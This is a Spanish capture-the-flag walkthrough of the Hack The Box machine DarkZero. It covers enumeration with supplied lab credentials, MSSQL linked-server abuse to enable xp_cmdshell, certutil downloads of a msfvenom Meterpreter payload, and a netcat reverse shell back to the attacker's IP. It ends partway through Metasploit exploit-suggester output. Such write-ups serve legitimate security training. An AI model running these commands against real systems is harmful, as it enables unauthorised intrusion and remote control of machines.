DarkZero - Hack The Box
Esta fue una máquina bastante complicada. Después de analizar los escaneos y de probar las credenciales que nos dieron, nos enfocamos en el servicio MSSQL, siendo aquí donde encontramos un Linked Server que nos conecta a una segunda máquina AD. Conectándonos a esta segunda máquina desde MSSQL, nos permite habilitar el xp_cmdshell para ejecutar comandos de forma remota. Gracias a esto, podemos cargar una Reverse Shell con la que obtenemos una sesión de Meterpreter de Metasploit Framework. Utilizamos esta sesión para usar el módulo local_exploit_suggester, con tal de encontrar una forma de escalar privilegios, siendo así que descubrimos que la máquina es vulnerable al Windows Kernel Elevation of Privilege Vulnerability (CVE-2024-30088). Usamos el módulo cve_2024_30088_authz_basep y logramos escalar privilegios en la segunda máquina AD, convirtiéndonos en Administrador. Analizando la conexión entre el AD1 y el AD2, utilizamos la herramienta Rubeus.exe para capturar un TGT, que se almacena localmente en el AD2 al recibir una consulta del AD1 desde el servicio MSSQL. Usamos este TGT para dumpear los LSA Secrets con el fin de obtener el Hash NTLM del administrador de la máquina AD1, y así conseguir una sesión del AD1 usando evil-winrm, logrando escalar privilegios.
Herramientas utilizadas:
- ping
- nmap
- nxc
- rpcclient
- dig
- impacket-mssqlclient
- enum_links
- use_link
- enable_xp_cmdshell
- xp_cmdshell
- certutil
- msfvenom
- Metasploit Framework (msfconsole)
- Módulo: exploit/multi/handler
- nc.exe
- rlwrap
- nc
- Módulo: post/multi/recon/local_exploit_suggester
- Módulo: exploit/windows/local/cve_2024_30088_authz_basep
- Módulo: Kiwi
- Chisel
- python3
- socat
- impacket-psexec
- Rubeus.exe
- xp_dirtree
- nano
- cat
- base64
- impacket-ticketConverter
- export
- nslookup
- ntpdate
- rdat
- impacket-secretsdump
- evil-winrm
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Comprobando la Utilidad de Credenciales con netexec
- Enumeración de Protocolo DNS
- Enumeración de Servicio RPC
- Enumeración del Servicio MSSQL
- Explotación de Vulnerabilidades
- Conectandonos a Segunda Máquina (AD2) desde Servicio MSSQL de Máquina Principal (AD1)
- Obteniendo Sesion de Meterpreter de Máquina AD2
- Utilizando Binario nc.exe para Obtener Sesión de Máquina AD2
- Probando Módulo: cve_2024_30088_authz_basep para Escalar Privilegios en Máquina AD2 y Obteniendo los Hashes NTLM con Módulo Kiwi
- Opcional: Realizando Reverse Port Forwarding con Chisel para Conectarnos a Máquina AD2 con psexec (Pivoting)
- Post Explotación
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.89
PING 10.10.11.89 (10.10.11.89) 56(84) bytes of data.
64 bytes from 10.10.11.89: icmp_seq=1 ttl=127 time=140 ms
64 bytes from 10.10.11.89: icmp_seq=2 ttl=127 time=229 ms
64 bytes from 10.10.11.89: icmp_seq=3 ttl=127 time=115 ms
64 bytes from 10.10.11.89: icmp_seq=4 ttl=127 time=75.1 ms
--- 10.10.11.89 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 75.093/139.740/228.934/56.452 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.89 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 21:53 CST
Initiating SYN Stealth Scan at 21:53
Scanning 10.10.11.89 [65535 ports]
Discovered open port 53/tcp on 10.10.11.89
Discovered open port 139/tcp on 10.10.11.89
Discovered open port 135/tcp on 10.10.11.89
Discovered open port 445/tcp on 10.10.11.89
Discovered open port 49940/tcp on 10.10.11.89
Discovered open port 49664/tcp on 10.10.11.89
Discovered open port 9389/tcp on 10.10.11.89
Discovered open port 49682/tcp on 10.10.11.89
Discovered open port 49901/tcp on 10.10.11.89
Discovered open port 3268/tcp on 10.10.11.89
Discovered open port 64023/tcp on 10.10.11.89
Discovered open port 636/tcp on 10.10.11.89
Discovered open port 464/tcp on 10.10.11.89
Discovered open port 49667/tcp on 10.10.11.89
Discovered open port 2179/tcp on 10.10.11.89
Discovered open port 3269/tcp on 10.10.11.89
Discovered open port 49683/tcp on 10.10.11.89
Discovered open port 49987/tcp on 10.10.11.89
Discovered open port 5985/tcp on 10.10.11.89
Discovered open port 1433/tcp on 10.10.11.89
Discovered open port 593/tcp on 10.10.11.89
Discovered open port 88/tcp on 10.10.11.89
Completed SYN Stealth Scan at 21:54, 54.36s elapsed (65535 total ports)
Nmap scan report for 10.10.11.89
Host is up, received user-set (0.28s latency).
Scanned at 2025-10-09 21:53:12 CST for 54s
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49682/tcp open unknown syn-ack ttl 127
49683/tcp open unknown syn-ack ttl 127
49901/tcp open unknown syn-ack ttl 127
49940/tcp open unknown syn-ack ttl 127
49987/tcp open unknown syn-ack ttl 127
64023/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 54.43 seconds
Raw packets sent: 262117 (11.533MB) | Rcvd: 74 (3.252KB)
| Parámetros | Descripción | |————————–| | -p- | Para indicarle un escaneo en ciertos puertos. | | –open | Para indicar que aplique el escaneo en los puertos abiertos. | | -sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. | | –min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). | | -vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. | | -n | Para indicar que no se aplique resolución dns para agilizar el escaneo. | | -Pn | Para indicar que se omita el descubrimiento de hosts. | | -oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Al ver el puerto 88 que es del servicio Kerberos, nos damos cuenta de que estamos contra una máquina Active Directory.
Además, se me hace curioso ver el puerto 1433 abierto, pues es del servicio MSSQL.
Escaneo de Servicios
nmap -sCV -p 53,88,135,139,445,464,593,636,1433,2179,3268,3269,5985,9389,49664,49667,49682,49683,49901,49940,49987,64023 10.10.11.89 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 21:56 CST
Nmap scan report for 10.10.11.89
Host is up (0.078s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-10 10:56:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-10-10T10:58:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-10T10:35:07
|_Not valid after: 2055-10-10T10:35:07
| ms-sql-ntlm-info:
| 10.10.11.89:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
| ms-sql-info:
| 10.10.11.89:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49683/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49901/tcp open msrpc Microsoft Windows RPC
49940/tcp open msrpc Microsoft Windows RPC
49987/tcp open msrpc Microsoft Windows RPC
64023/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-10T10:57:42
|_ start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.24 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Tenemos bastante información. Vamos a desglosarla:
- El puerto 636,3269,3268 nos muestra el dominio del AD, siendo DC01.darkzero.htb.
- El puerto 1433, que es del servicio MSSQL, nos muestra la versión usada y también nos muestra el dominio.
- El servicio SMB nos indica que se necesitan credenciales válidas para entrar y/o listar los recursos compartidos.
En esta ocasión, tenemos unas credenciales válidas que podemos usar en la máquina.
Estas son: john.w:RFulUtONCOL!.
Aunque no sabemos para qué servicios es útil, por lo que debemos comprobarlo.
Pero antes de comenzar, registremos el dominio en el /etc/hosts
:
echo "10.10.11.89 darkzero.htb DC01.darkzero.htb" >> /etc/hosts
Continuemos.
Análisis de Vulnerabilidades
Comprobando la Utilidad de Credenciales con netexec
La idea es probar en qué servicios nos son útiles las credenciales que nos dieron.
Para esto, utilizaremos la herramienta netexec y probaremos varios servicios:
- Comprobemos si sirve para el servicio SMB:
nxc smb 10.10.11.89 -u 'john.w' -p 'RFulUtONCOL!' SMB 10.10.11.89 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (signing:True) (SMBv1:False) SMB 10.10.11.89 445 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
Estas credenciales SÍ funcionan para este servicio.
- Comprobemos si sirve para el servicio LDAP:
nxc ldap 10.10.11.89 -u 'john.w' -p 'RFulUtONCOL!' LDAP 10.10.11.89 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) LDAPS 10.10.11.89 636 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
Estas credenciales SÍ funcionan para este servicio.
- Comprobemos si sirve para el servicio MSSQL:
nxc mssql 10.10.11.89 -u 'john.w' -p 'RFulUtONCOL!' MSSQL 10.10.11.89 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) MSSQL 10.10.11.89 1433 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
Estas credenciales SÍ funcionan para este servicio.
- Comprobemos si sirve para el servicio WinRM:
nxc winrm 10.10.11.89 -u 'john.w' -p 'RFulUtONCOL!' WINRM 10.10.11.89 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) WINRM 10.10.11.89 5985 DC01 [-] darkzero.htb\john.w:RFulUtONCOL!
Estas credenciales NO funcionan para este servicio.
Para el servicio RPC, usaremos la herramienta rpcclient:
rpcclient -U 'darkzero.htb/john.w%RFulUtONCOL!' 10.10.11.89
rpcclient $>
Funcionan.
Ahora, podemos enumerar varios servicios en busca de información que nos ayude.
Es posible que me salte algunos servicios, si es que no encuentro nada relevante que mostrar.
Enumeración de Protocolo DNS
Vamos a comenzar por enumerar el protocolo DNS con la herramienta dig.
Lo principal es obtener todos los registros DNS disponibles del dominio del AD:
dig @10.10.11.89 DC01.darkzero.htb ANY
; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.10.11.89 DC01.darkzero.htb ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16612
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC01.darkzero.htb. IN ANY
;; ANSWER SECTION:
DC01.darkzero.htb. 3600 IN A 10.10.11.89
DC01.darkzero.htb. 3600 IN A 172.16.20.1
;; Query time: 292 msec
;; SERVER: 10.10.11.89#53(10.10.11.89) (TCP)
;; WHEN: Sat Oct 11 20:50:05 CST 2025
;; MSG SIZE rcvd: 78
Excelente, tenemos buena información:
- Para obtener todos los registros DNS, utilizamos la flag ANY, siendo así que nos muestra 2 registros.
- Analizando los registros, vemos que hay uno que corresponde a una IP distinta a la de la máquina. Podemos suponer que es una IP interna de algún contenedor que están utilizando.
- El hecho de ver una IP interna, indica que hay fuga de información en el DNS.
Vamos a guardar esta información sobre la segunda IP para más adelante.
Identifiquemos los servidores de nombres autorizados para el dominio con la flag NS:
dig @10.10.11.89 DC01.darkzero.htb NS
; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.10.11.89 DC01.darkzero.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25811
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC01.darkzero.htb. IN NS
;; AUTHORITY SECTION:
darkzero.htb. 3600 IN SOA DC01.darkzero.htb. hostmaster.darkzero.htb. 435 900 600 86400 3600
;; Query time: 264 msec
;; SERVER: 10.10.11.89#53(10.10.11.89) (UDP)
;; WHEN: Sat Oct 11 20:46:18 CST 2025
;; MSG SIZE rcvd: 93
Bien, aunque no obtuvimos los registros NS, sí obtuvimos el registro SOA en la sección AUTHORITY para la zona darkzero.htb, que aquí igual comprobamos el dominio del AD.
Pasemos a otro servicio.
Enumeración de Servicio RPC
Ya comprobamos que podemos entrar al servicio RPC, por lo que solo volvemos a entrar con la herramienta rcpclient.
Obtengamos los usuarios registrados en la máquina:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[john.w] rid:[0xa2b
Vemos nuestro usuario john.w y los usuarios por defecto, aparte del Administrador.
Obtengamos los grupos existentes:
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[Forest Trust Accounts] rid:[0x210]
group:[External Trust Accounts] rid:[0x211]
group:[DnsUpdateProxy] rid:[0x44e]
Son varios grupos, pero no veo uno del que nos podamos aprovechar por ahora.
Por último, obtengamos la descripción de los usuarios por si hay alguna pista o algo que nos ayude:
rpcclient $> querydispinfo
index: 0x12be RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x12bf RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x1539 RID: 0xa2b acb: 0x00000210 Account: john.w Name: (null) Desc: (null)
index: 0x13d0 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
Nada, pero gracias a esta enumeración, comprobamos los usuarios y grupos de la máquina víctima.
Continuemos con otro servicio.
Enumeración del Servicio MSSQL
Entremos al servicio MSSQL usando una herramienta de la suit de Impacket:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.10.11.89' -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (darkzero\john.w guest@master)>
Vemos que entramos como el usuario guest en la base de datos actual.
De igual forma, podemos confirmar el usuario con el que nos logueamos y el usuario que nos asignan al entrar a la base de datos:
SQL (darkzero\john.w guest@master)> SELECT SUSER_SNAME();
---------------
darkzero\john.w
SQL (darkzero\john.w guest@master)> SELECT USER_NAME();
-----
guest
Entonces, somos el usuario guest en la BD.
Veamos qué comandos podemos ejecutar:
SQL (darkzero\john.w guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
upload {from} {to} - uploads file {from} to the SQLServer host {to}
show_query - show query
mask_query - mask query
Podemos ejecutar varios comandos, pero lo importante es activar la shell para ejecutar comandos.
Intentémoslo:
SQL (darkzero\john.w guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
No podemos, no tenemos los suficientes privilegios.
Quizá exista una base de datos con un usuario y contraseña con más privilegios:
SQL (darkzero\john.w guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
Solo están las bases de dato por defecto.
Veamos qué usuarios de la BD actual existen:
SQL (darkzero\john.w guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
Solo están los usuarios por defecto, entre ellos, nuestro usuario guest.
Podemos encontrar algo interesante al listar los linked servers que son puertas a otras máquinas:
SQL (darkzero\john.w guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
----------------- ---------------- ----------- ----------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
DC02.darkzero.ext SQLNCLI SQL Server DC02.darkzero.ext NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
----------------- --------------- --------------- ------------
DC02.darkzero.ext darkzero\john.w 0 dc01_sql_svc
Podemos ver un segundo dominio que es posible que podamos visitar con el comando use_link.
Explotación de Vulnerabilidades
Conectandonos a Segunda Máquina (AD2) desde Servicio MSSQL de Máquina Principal (AD1)
Antes de continuar, vamos a explicar un poco lo que vamos a hacer y para eso, necesitamos conocer el concepto Linked Server y qué hace el comando enum_links y use_link.
Linked Server |
---|
*Un linked server en MSSQL es una conexión configurada desde un servidor SQL a otro origen de datos (otro SQL Server, Oracle, OLE DB provider, etc.). Permite ejecutar consultas remotas como si fueran locales (four-part names, OPENQUERY, EXEC (…) AT |
Comando enum_links |
---|
enum_links es un helper que en tu shell lista los linked servers conocidos desde la instancia actual. Debe mostrar (dependiendo de la implementación) al menos: Nombre del linked server (p. ej. REMOTE_SQL, LINK_SQL01), Proveedor / tipo (SQL Server, OLE DB provider, Oracle, etc.), Data source o servidor destino (hostname o IP), etc. |
Comando use_link |
---|
use_link en tu shell cambia el contexto de operaciones al linked server indicado. Es decir, los comandos siguientes (helpers como enum_db, enum_logins, enum_users, xp_cmdshell si se ejecuta remotamente, etc.) se ejecutarán en el servidor remoto en lugar del local. |
En resumen, lo que haremos ahora será conectarnos a un servidor remoto que está enlazado al servidor SQL del AD de manera interna.
Para no confundirnos, este servidor lo llamaremos AD2 (que prácticamente es eso).
Conectémonos al AD2 usando el comando use_link:
SQL (darkzero\john.w guest@master)> use_link "DC02.darkzero.ext"
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)>
Estamos dentro.
Veamos con qué usuario nos autenticó:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> SELECT SUSER_SNAME();
------------
dc01_sql_svc
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> SELECT USER_NAME();
---
dbo
En el AD2 somos el usuario sql_svc y en la BD actual somos el usuario dbo, es decir, dentro de la BD tenemos más privilegios.
Ya deberíamos poder activar la xp_cmdshell:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> enable_xp_cmdshell
INFO(DC02): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
Sí pudimos.
Comprobemos nuestro usuario en el AD2:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "whoami"
output
--------------------
darkzero-ext\svc_sql
NULL
Sí somos el usuario sql_svc.
Veamos qué IP tiene el AD2:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "ipconfig"
output
----------------------------------------------------
NULL
...
Ethernet adapter Ethernet:
NULL
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.16.20.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.20.1
NULL
Bien, está en el mismo segmento que vimos cuando enumeramos el servicio DNS.
Podemos comprobar si la máquina AD2 puede alcanzar a nuestra máquina:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "ping Tu_IP"
output
--------------------------------------------------------
NULL
Pinging Tu_IP with 32 bytes of data:
Reply from Tu_IP: bytes=32 time=73ms TTL=62
...
Ping statistics for Tu_IP:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 73ms, Maximum = 75ms, Average = 73ms
Sí pudo.
Esto quiere decir que el AD2 permite conexiones salientes, por lo que no es tan necesario aplicar Port Forwarding, solo si queremos alcanzar el AD2 desde nuestra máquina.
Entonces, intentemos ganar acceso a la máquina AD2.
Obteniendo Sesion de Meterpreter de Máquina AD2
Veamos si podemos obtener una sesión de Meterpreter.
Primero crea una Reverse Shell de Meterpreter con msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Tu_IP LPORT=4433 -f exe -o revShell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: revShell.exe
Inicia Metasploit Framework y carga el módulo Handler:
msfconsole -q
[*] Starting persistent handler(s)...
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf exploit(multi/handler) > set LPORT 4433
LPORT => 4433
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on Tu_IP:4433
Carga la Reverse Shell en el AD2 desde el AD1 usando xp_cmdshell (recuerda que debes tener un servidor de python3 activo donde tengas la Reverse Shell):
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "mkdir C:\Temp"
...
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "certutil.exe -urlcache -split -f http://Tu_IP/revShell.exe C:\Temp\revShell.exe"
output
...
CertUtil: -URLCache command completed successfully.
Ejecuta la Reverse Shell:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "revShell.exe"
Observa la sesión de Metasploit:
[*] Sending stage (203846 bytes) to 10.10.11.89
[*] Meterpreter session 1 opened (Tu_IP:4433 -> 10.10.11.89:59867) at 2025-10-12 15:50:54 -0600
meterpreter > getuid
Server username: darkzero-ext\svc_sql
meterpreter > sysinfo
Computer : DC02
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : darkzero-ext
Logged On Users : 9
Meterpreter : x64/windows
Ya tenemos una sesión de Meterpreter.
Utilizando Binario nc.exe para Obtener Sesión de Máquina AD2
También podemos obtener una sesión normal con rlwrap utilizando el binario nc.exe.
Dentro de Kali ya tenemos este binario, solamente es cuestión de buscarlo y copiarlo en nuestro directorio de trabajo:
locate nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
cp /usr/share/windows-resources/binaries/nc.exe .
Ya solo debemos mandar este binario a la máquina AD2, de la misma forma que hicimos con la Reverse Shell de Meterpreter:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "certutil.exe -urlcache -split -f http://Tu_IP/nc.exe C:\Temp\nc.exe"
output
...
CertUtil: -URLCache command completed successfully.
Ya lo cargamos.
Abre un listener con rlwrap y netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Ejecuta el binario nc.exe indicándole que mande una CMD a tu máquina:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "C:\Temp\nc.exe -e cmd Tu_IP 443"
Observa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.89] 59846
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
darkzero-ext\svc_sql
Estamos dentro otra vez.
Probando Módulo: cve_2024_30088_authz_basep para Escalar Privilegios en Máquina AD2 y Obteniendo los Hashes NTLM con Módulo Kiwi
Al usar una sesión normal, es decir, sin usar Meterpreter ni Metasploit, intenté identificar alguna vulnerabilidad usando winPEASx64, adPEAS y Windows Exploit Suggester, pero no logré identificar alguna.
Entonces, usaremos la sesión que ya tenemos de Meterpreter en Metasploit y el módulo post/multi/recon/local_exploit_suggester
para ver si identifica alguna vulnerabilidad en el sistema.
Carguemos el módulo a Metasploit:
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) >
Configúralo y ejecútalo:
msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > exploit
[*] 172.16.20.2 - Collecting local exploits for x64/windows..
...
[*] 172.16.20.2 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_dotnet_profiler Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_sdclt Yes The target appears to be vulnerable.
